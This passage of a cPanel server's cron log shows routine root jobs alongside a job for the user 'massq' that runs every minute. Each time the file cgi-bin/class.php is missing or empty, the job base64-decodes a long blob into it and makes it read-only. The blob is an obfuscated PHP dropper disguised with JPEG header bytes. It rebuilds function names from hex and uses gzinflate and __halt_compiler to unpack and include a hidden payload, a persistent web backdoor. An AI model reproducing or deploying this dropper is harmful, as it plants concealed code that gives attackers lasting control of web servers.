&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:00:01 server CROND[18524]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:00:01 server CROND[18523]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 10 12:00:01 server CROND[18525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:00:01 server CROND[18529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:00:01 server CROND[18526]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 12:00:01 server CROND[18527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:01:01 server CROND[19132]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 12:01:01 server CROND[19133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:01:01 server run-parts(/etc/cron.hourly)[19132]: starting 0anacron
Nov 10 12:01:01 server run-parts(/etc/cron.hourly)[19146]: finished 0anacron
Nov 10 12:02:01 server CROND[20015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:03:01 server CROND[20747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:04:01 server CROND[21570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:05:01 server CROND[22541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:05:01 server CROND[22542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 12:05:01 server CROND[22543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:05:01 server CROND[22545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:06:01 server CROND[23434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:07:01 server CROND[24272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:08:01 server CROND[25066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:09:01 server CROND[25906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:09:01 server CROND[25907]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:10:01 server CROND[26871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:10:01 server CROND[26872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:10:01 server CROND[26874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:10:01 server CROND[26873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:11:01 server CROND[27726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
